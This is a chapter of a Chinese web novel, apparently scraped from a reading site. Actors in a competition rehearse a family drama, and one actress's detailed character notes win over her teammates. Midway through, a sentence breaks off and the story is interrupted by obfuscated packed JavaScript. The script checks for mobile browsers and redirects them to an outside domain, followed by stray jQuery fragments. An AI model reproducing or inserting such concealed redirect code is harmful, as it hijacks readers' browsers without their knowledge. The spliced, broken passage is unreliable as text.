75. 舔狗与硬汉

作品:《第一万零一次月升

    “练……不是,就我俩吗?不是有4个人吗?”


    “那你别管,先练!”


    “行,就逮着我薅是吧。”


    丁泽诺叼起一根烟,慵懒地坐下,随手将剧本摊在曲起的膝盖上,烟雾在面前弥漫几次后,终于缓缓开口道:“怎么练啊?”


    安夕闭眼深呼吸,咬牙切齿道:“烟灭了。”


    “得嘞,听女朋友的。”


    丁泽诺晃动着剧本,吊儿郎当地念着:“张逸将一袋水果递给阿晴母亲,别扭地叫了声伯母。”


    “噗……你说这剧情土不土?让我这么fashion的人演这玩意,多难受啊。”


    安夕抽走了剧本,坐到丁泽诺身边,指着剧本说道:“这是张逸第一次拜访阿晴家,在这之前阿晴已经软磨硬泡了一年多。”


    “哦,所以呢?”


    丁泽诺摸了摸烟盒,被安夕一眼瞪回去了。


    “所以,你身边有人是你的舔狗吗?或者你做过舔狗吗?”


    “我……”


    丁泽诺有些忸怩地看着安夕,这小子居然脸红了,安夕心中偷笑,原来这小子擅长当舔狗。


    “懂了,现在机会不就来了吗?体验一把被别人追的滋味。”


    丁泽诺见安夕窃喜的样子瞬间炸了毛,跳起来嚷嚷道:“你懂什么啊?我是讨厌黏黏糊糊的暧昧,不喜欢的直接拒绝,不给别人做舔狗的机会懂吗!”


    “懂,咱们是fashion的人,不搞那一套,这不是演戏吗?演戏就是丰富人生体验的对吗?”


    顺毛撸略见成效,丁泽诺多少对剧本有点兴趣了,只是想着法的显摆自己有舔狗的地位。


    “不对不对,是你求我去你家的,这里你的语气是不是应该再甜一点,动人一点,再来一遍!再来一遍!”


    安夕对戏时并未在意这些,演戏是双向的托举,一方的情感反应对了,另一方才更有可能碰撞出激烈的火花。


    “张逸,”安夕牵起丁泽诺的手,“听说下个月工资基数会上调,咱们这两年也攒了一些钱,结婚应该是够了的,这个周末你上我家吧。”


    丁泽诺将手抽开,起身就要往门外走,“不演了!不演了!”


    安夕无力地问道:“又怎么了!”


    “我嫌肉麻,唧唧歪歪的戏我演不了,我要演英雄,演硬汉,玩意谁爱演谁演去吧,明天淘汰了最好。”


    丁泽诺说完便一溜烟跑了,安夕气得大骂道:“临阵脱逃,一点也不硬汉!丁泽诺你就是个懦夫!”


    楼道里远远传来丁泽诺的声音,“激将法对我没用!”


    看着空荡荡的练习室,安夕第一次感受到了累,心里空荡荡的,远方的梦想也空荡荡的。


    抹了一把眼泪,既然是最后一程,更要好好面对了。


    一个人的排练终是枯燥,静下来时,安夕更喜欢钻研角色的内心。


    将人物小传铺就在地板上,阳光正好,安夕靠在落地窗前,用笔一下一下敲击着膝盖,没有注意屋内的动静。


    “那小子又跑了?”


    许翊辰突然出现在眼前,安夕吓了一跳。


    “你属猫么?一点声音都没有。”


    许翊辰捡起人物小传,在她身边坐下,密密麻麻的小字铺满了纸张,最末端是几句问句。


    “为什么王淑华沉迷于赌博?”


    “她是那种不爱孩子的母亲吗?”


    “看到张逸对女儿不好时,她心中是什么感受?”


    阳光从身后照来,许翊辰的发丝被染上了一层金边,刚开始时,安夕总觉得他是一只爱笑的猫,后来觉得他是一片海,神秘深沉。


    “怎么不说话?”


    “没有不爱孩子的母亲,她只是没有阿晴勇敢。当她看到自己的孩子被欺负时,会激起内心的勇敢。”


    许翊辰低头说得肯定。


    “你怎么这么确定?”


    话刚说出口,安夕很快察觉不妥,正想岔开话题时,许翊辰又笑得像一只晒太阳的猫。


    “演员本就应该坚信自己对角色的解读。”


    “说得也对,所以她当时愧疚、懊悔的情绪多于愤怒。”


    “你这人物小传真是全面,除了自己的角色,所有角色都想清楚了。”


    “反正闲着也没事嘛。”


    安夕坐得久了有些腿麻,将脚换个姿势盘起,“也不知道英姐是怎么理解的,也没机会多排练几次,苏芷忙得不见人影,丁泽诺那小子简直就是来玩的,啊!为什么偏偏第一场淘汰赛就是群体赛啊!”


    “喂,大老远就听见你说我坏话!”


    丁泽诺拎着一袋咖啡出现在门口,气呼呼递给安夕后,示意许翊辰往旁边坐坐,但那人毫无反应。


    “喂,我才是这组唯一的男主角,你一个其它组的跑来干嘛,打探军情吗?”


    许翊辰将一叠人物小传仔仔细细码放整齐,“既然知道是男主角,拿出你的担当。”


    “我怎么了?我又不是逃兵,其他两个才是。话说回来,昨晚你就把我扔在这里?睡地板上!?”


    “本来在酒店的。”


    “什么叫本来在酒店的?为什么后来在这?”


    丁泽诺两边的腮帮子鼓得更高了,“我最讨厌打哑谜了!我撒酒疯了?说梦话了?”


    可惜遇到个许翊辰这样的闷葫芦,并不急着回复,慢慢悠悠起身,拍拍身子,最后只丢下句:“问你自己吧。”


    丁泽诺看着他的背影气得跳脚,却又无可奈何。


    “你怎么又回来了?”


    丁泽诺的脸更红了,随手抓起一张人物小传看起来,念叨到:“我为什么不能回来?又不是只有你能排练。”


    话没说完,不知不接将眼前的故事看进去了,“张逸回想起她曾满脸幸福的畅想,每天下班回家要先在楼下阿婆家买一篮水果,吃完晚饭再去隔壁十七中的操场散步。她幻想的小日子,安稳平静,或许再过几年自己会动心,而现在20出头的他,只觉得乏味。”


    “你还真能扯,拍台湾家庭剧都够了。”


    “拿来,不爱看别看。”


    这些小传本就是闹钟天马行空的想法,和日记一个性质,是很私人的物件,被人这么念出来,安夕急得满脸通红。


    丁泽诺稳定发挥人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691872|160462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    高马大的优势,轻轻一抬手便躲过了。


    “别啊,没笑你的意思,写得挺好的,本来我还觉得张逸这角色挺扯的,看你写得觉得有点理解这男的了。”


    “你不是在讽刺我吧?”


    “怎么?你这辈子没遇到过好人么?”


    ……


    第二天便是公演了,四人终于聚在一起。妆发,灯光挨个调试,基本没有再排练一次的机会,好在下午正式开拍前,导演给了一次最后彩排的机会。


    正是这次机会让几个人都慌了神,四个人完全没有默契可言,再看到其他组行云流水的走戏,几人顿感绝望。


    丁泽诺破罐子破摔靠在墙边,从兜里抽出一根烟来,“哎,不是我说,现在弃演也没什么区别吧,何必上台丢人呢?”


    英姐将烟一把抢走,“说什么呢?姐来了就是想证明我能演,不战而败那是怂蛋,都给我打起精神来!”


    苏芷的眼泪已经在眼眶中打转,抽抽嗒嗒地说道:“姐,那还不得怪你,说什么不用排练,你看人家多熟练,再看我们,一盘散沙,这还怎么比啊?”


    “我按我的经验来的啊,这种剧排多了就是耗情绪,谁知道你们是真一点经验都没有,在台上跟木桩似得。”


    “各位美女姐姐,都去化化妆,怎么好看怎么来吧,多少混个脸熟。”


    英姐是个直性子,见小年轻一个比一个丧气,气不打一处来,大嗓门不管不顾地吼道:“你小子还是男人吗?最丧气的就是你!”


    丁泽诺见人急了,反倒露出一副悠闲自在的模样,“自信还得有底气呢,菜就是菜,鸡汤喊得比哨子响也没用。”


    英姐气得上手,那人秒怂,“别动手别动手,我知道安夕有好东西没拿出来,说不定能让我们完成逆袭爽文。”


    一直在一旁安安静静的安夕,见自己被提起,恍惚问道,“我有什么好东西?”


    丁泽诺绕到安夕身后,将一叠皱皱巴巴的人物小传分发给英姐和苏芷。


    英姐仔细看了起来,写人物小传是演员常做的功课,但写得如此详细的也是少见。


    “你连我们的角色都写了?为什么不早说?”


    安夕还是有点不适应自己乱写的东西被众人看见,有些扭捏地说道:“我只是想构建一个完整的故事背景,但是全是我主观想象的,不一定对,所以没敢拿出来……”


    看着密密麻麻的手写笔记,英姐陷入了沉默,半晌说道:“是我自大了,没想到年轻人能做到这个份上,姐拖累你们了。”


    “喂,你再感慨下去,那才真是浪费时间。”丁泽诺推着众人赶紧回去练习。


    苏芷虽排练时不见人,但对角色却很是熟悉,抢着拿了人物小传看,“我觉得安夕写得挺好的,剧本里没交代清楚的都填充起来了,我们就按照这个故事再排一遍吧。”


    “对对,时间有限,现在咱们的故事逻辑也加强了,各自给反应时都要更清晰些,直接上手来吧。”英姐是个急性子,拉着几个人快速进入状态。


    刚好一遍结束,工作人员开始cue流程了,“不好意思打扰了,各位老师咱们得准备上台了。”